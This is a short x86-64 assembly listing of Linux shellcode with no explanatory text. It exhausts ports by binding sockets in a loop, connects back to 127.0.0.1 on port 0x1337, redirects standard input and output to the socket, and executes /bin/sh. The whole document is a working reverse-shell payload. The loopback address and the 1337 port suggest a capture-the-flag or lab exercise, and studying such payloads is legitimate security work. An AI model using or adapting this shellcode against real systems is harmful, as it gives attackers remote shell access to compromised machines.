Table of Contents

      xor rcx, rcx
      push rcx
      mov cx, 0xffff
      push rcx
;// for(int i=0; i<0x10000; i++){ bind(socket(AF_INET, SOCK_STEAM, 6), &sockaddr, socklen); }
exhausted:
      ;// socket(AF_INET, SOCK_STEAM, 6);
      push 0x2
      pop rdi
      push 0x1
      pop rsi
      push 0x6
      pop rdx
      push 0x29
      pop rax
      syscall

      ;// bind(sockfd, sockaddr, 0x10);
      push rax
      pop rdi
      pop rcx
      push rcx
      shl rcx, 16
      mov cl, 2
      push rcx
      mov rsi, rsp
      push 0x10
      pop rdx
      push 0x31
      pop rax
      syscall
      pop rcx
      pop rcx
      dec rcx
      pop rbx
      test rax, rax
      jne bind_fail
      push rdi
      pop rbx
bind_fail:
      push rbx
      test rcx, rcx
      push rcx
      jne exhausted

      ;// connect(sockfd, &sockaddr, socklen)
      pop rax
      pop rdi
      push rax
      mov byte ptr [rsp], 0x2
      mov word ptr [rsp+2], 0x3713 ;// port 0x1337
      mov dword ptr [rsp+4], 0x0100007f ;// addr 127.0.0.1
      mov rsi, rsp
      push 0x10
      pop rdx
      push 0x2a
      pop rax
      syscall 
      push 0x3
      pop rsi

dupio:
      dec rsi
      push 0x21
      pop rax
      syscall
      jne dupio

shell:
      xor rdx, rdx
      movabs rbx,0x68732f6e69622f2f
      shr rbx, 0x8
      push rbx
      mov rdi, rsp
      push rdx
      push rdi
      mov rsi, rsp
      push 0x3b
      pop rax
      syscall

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